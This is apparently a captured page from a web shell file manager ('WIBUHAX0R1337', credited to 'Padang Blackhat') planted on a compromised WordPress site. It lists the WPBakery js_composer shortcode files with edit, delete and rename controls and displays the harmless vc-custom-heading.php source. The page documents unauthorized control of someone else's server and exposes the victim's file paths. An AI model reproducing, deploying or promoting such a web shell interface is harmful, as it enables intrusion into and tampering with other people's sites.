-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-contentVIp
/
plugins
/
js_composer
/
include
/
classes
/
shortcodes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
paginator
--
NONE
layerslider-vc.php
0.122KB
Edit File
Delete File
Rename
shortcodes.php
41.122KB
Edit File
Delete File
Rename
vc-accordion-tab.php
5.157KB
Edit File
Delete File
Rename
vc-accordion.php
2.068KB
Edit File
Delete File
Rename
vc-basic-grid.php
18.806KB
Edit File
Delete File
Rename
vc-button.php
0.425KB
Edit File
Delete File
Rename
vc-button2.php
0.426KB
Edit File
Delete File
Rename
vc-carousel.php
0.893KB
Edit File
Delete File
Rename
vc-column-inner.php
0.193KB
Edit File
Delete File
Rename
vc-column-text.php
0.18KB
Edit File
Delete File
Rename
vc-column.php
8.254KB
Edit File
Delete File
Rename
vc-cta-button.php
0.207KB
Edit File
Delete File
Rename
vc-cta-button2.php
0.208KB
Edit File
Delete File
Rename
vc-cta.php
4.65KB
Edit File
Delete File
Rename
vc-custom-field.php
0.208KB
Edit File
Delete File
Rename
vc-custom-heading.php
5.109KB
Edit File
Delete File
Rename
vc-empty-space.php
0.121KB
Edit File
Delete File
Rename
vc-facebook.php
0.859KB
Edit File
Delete File
Rename
vc-flickr.php
1.403KB
Edit File
Delete File
Rename
vc-gallery.php
2.16KB
Edit File
Delete File
Rename
vc-gitem-animated-block.php
1.772KB
Edit File
Delete File
Rename
vc-gitem-col.php
1.495KB
Edit File
Delete File
Rename
vc-gitem-post-author.php
0.286KB
Edit File
Delete File
Rename
vc-gitem-post-categories.php
0.294KB
Edit File
Delete File
Rename
vc-gitem-post-data.php
1.081KB
Edit File
Delete File
Rename
vc-gitem-post-date.php
0.547KB
Edit File
Delete File
Rename
vc-gitem-post-excerpt.php
0.484KB
Edit File
Delete File
Rename
vc-gitem-post-meta.php
0.125KB
Edit File
Delete File
Rename
vc-gitem-post-title.php
0.48KB
Edit File
Delete File
Rename
vc-gitem-zone-a.php
0.291KB
Edit File
Delete File
Rename
vc-gitem-zone-b.php
0.291KB
Edit File
Delete File
Rename
vc-gitem-zone-c.php
0.227KB
Edit File
Delete File
Rename
vc-gitem.php
3.924KB
Edit File
Delete File
Rename
vc-gmaps.php
0.115KB
Edit File
Delete File
Rename
vc-googleplus.php
0.897KB
Edit File
Delete File
Rename
vc-line-chart.php
0.667KB
Edit File
Delete File
Rename
vc-masonry-grid.php
1.12KB
Edit File
Delete File
Rename
vc-masonry-media-grid.php
1.068KB
Edit File
Delete File
Rename
vc-message.php
0.654KB
Edit File
Delete File
Rename
vc-pie.php
1.392KB
Edit File
Delete File
Rename
vc-pinterest.php
0.743KB
Edit File
Delete File
Rename
vc-posts-grid.php
5.704KB
Edit File
Delete File
Rename
vc-posts-slider.php
0.122KB
Edit File
Delete File
Rename
vc-progress-bar.php
1.188KB
Edit File
Delete File
Rename
vc-round-chart.php
0.671KB
Edit File
Delete File
Rename
vc-row-inner.php
0.276KB
Edit File
Delete File
Rename
vc-row.php
8.075KB
Edit File
Delete File
Rename
vc-separator.php
0.176KB
Edit File
Delete File
Rename
vc-single-image.php
4.366KB
Edit File
Delete File
Rename
vc-tab.php
1.874KB
Edit File
Delete File
Rename
vc-tabs.php
3.277KB
Edit File
Delete File
Rename
vc-text-separator.php
0.553KB
Edit File
Delete File
Rename
vc-toggle.php
0.64KB
Edit File
Delete File
Rename
vc-tta-accordion.php
11.069KB
Edit File
Delete File
Rename
vc-tta-tabs.php
4.894KB
Edit File
Delete File
Rename
vc-tweetmeme.php
0.747KB
Edit File
Delete File
Rename
vc-video.php
0.115KB
Edit File
Delete File
Rename
vc-widget-sidebar.php
0.124KB
Edit File
Delete File
Rename
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class WPBakeryShortCode_VC_Custom_heading * @since 4.3 */ class WPBakeryShortCode_VC_Custom_heading extends WPBakeryShortCode { /** * Defines fields names for google_fonts, font_container and etc * @since 4.4 * @var array */ protected $fields = array( 'google_fonts' => 'google_fonts', 'font_container' => 'font_container', 'el_class' => 'el_class', 'css' => 'css', 'text' => 'text', ); /** * Used to get field name in vc_map function for google_fonts, font_container and etc.. * * @param $key * * @since 4.4 * @return bool */ protected function getField( $key ) { return isset( $this->fields[ $key ] ) ? $this->fields[ $key ] : false; } /** * Get param value by providing key * * @param $key * * @since 4.4 * @return array|bool */ protected function getParamData( $key ) { return WPBMap::getParam( $this->shortcode, $this->getField( $key ) ); } /** * Parses shortcode attributes and set defaults based on vc_map function relative to shortcode and fields names * * @param $atts * * @since 4.3 * @return array */ public function getAttributes( $atts ) { /** * Shortcode attributes * @var $text * @var $google_fonts * @var $font_container * @var $el_class * @var $link * @var $css */ $atts = vc_map_get_attributes( $this->getShortcode(), $atts ); extract( $atts ); /** * Get default values from VC_MAP. **/ $google_fonts_field = $this->getParamData( 'google_fonts' ); $font_container_field = $this->getParamData( 'font_container' ); $el_class = $this->getExtraClass( $el_class ); $font_container_obj = new Vc_Font_Container(); $google_fonts_obj = new Vc_Google_Fonts(); $font_container_field_settings = isset( $font_container_field['settings'], $font_container_field['settings']['fields'] ) ? $font_container_field['settings']['fields'] : array(); $google_fonts_field_settings = isset( $google_fonts_field['settings'], $google_fonts_field['settings']['fields'] ) ? $google_fonts_field['settings']['fields'] : array(); $font_container_data = $font_container_obj->_vc_font_container_parse_attributes( $font_container_field_settings, $font_container ); $google_fonts_data = strlen( $google_fonts ) > 0 ? $google_fonts_obj->_vc_google_fonts_parse_attributes( $google_fonts_field_settings, $google_fonts ) : ''; return array( 'text' => isset( $text ) ? $text : '', 'google_fonts' => $google_fonts, 'font_container' => $font_container, 'el_class' => $el_class, 'css' => $css, 'link' => ( 0 === strpos( $link, '|' ) ) ? false : $link, 'font_container_data' => $font_container_data, 'google_fonts_data' => $google_fonts_data, ); } /** * Parses google_fonts_data and font_container_data to get needed css styles to markup * * @param $el_class * @param $css * @param $google_fonts_data * @param $font_container_data * @param $atts * * @since 4.3 * @return array */ public function getStyles( $el_class, $css, $google_fonts_data, $font_container_data, $atts ) { $styles = array(); if ( ! empty( $font_container_data ) && isset( $font_container_data['values'] ) ) { foreach ( $font_container_data['values'] as $key => $value ) { if ( 'tag' !== $key && strlen( $value ) ) { if ( preg_match( '/description/', $key ) ) { continue; } if ( 'font_size' === $key || 'line_height' === $key ) { $value = preg_replace( '/\s+/', '', $value ); } if ( 'font_size' === $key ) { $pattern = '/^(\d*(?:\.\d+)?)\s*(px|\%|in|cm|mm|em|rem|ex|pt|pc|vw|vh|vmin|vmax)?$/'; // allowed metrics: http://www.w3schools.com/cssref/css_units.asp $regexr = preg_match( $pattern, $value, $matches ); $value = isset( $matches[1] ) ? (float) $matches[1] : (float) $value; $unit = isset( $matches[2] ) ? $matches[2] : 'px'; $value = $value . $unit; } if ( strlen( $value ) > 0 ) { $styles[] = str_replace( '_', '-', $key ) . ': ' . $value; } } } } if ( ( ! isset( $atts['use_theme_fonts'] ) || 'yes' !== $atts['use_theme_fonts'] ) && ! empty( $google_fonts_data ) && isset( $google_fonts_data['values'], $google_fonts_data['values']['font_family'], $google_fonts_data['values']['font_style'] ) ) { $google_fonts_family = explode( ':', $google_fonts_data['values']['font_family'] ); $styles[] = 'font-family:' . $google_fonts_family[0]; $google_fonts_styles = explode( ':', $google_fonts_data['values']['font_style'] ); $styles[] = 'font-weight:' . $google_fonts_styles[1]; $styles[] = 'font-style:' . $google_fonts_styles[2]; } /** * Filter 'VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG' to change vc_custom_heading class * * @param string - filter_name * @param string - element_class * @param string - shortcode_name * @param array - shortcode_attributes * * @since 4.3 */ $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, 'vc_custom_heading ' . $el_class . vc_shortcode_custom_css_class( $css, ' ' ), $this->settings['base'], $atts ); return array( 'css_class' => trim( preg_replace( '/\s+/', ' ', $css_class ) ), 'styles' => $styles, ); } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat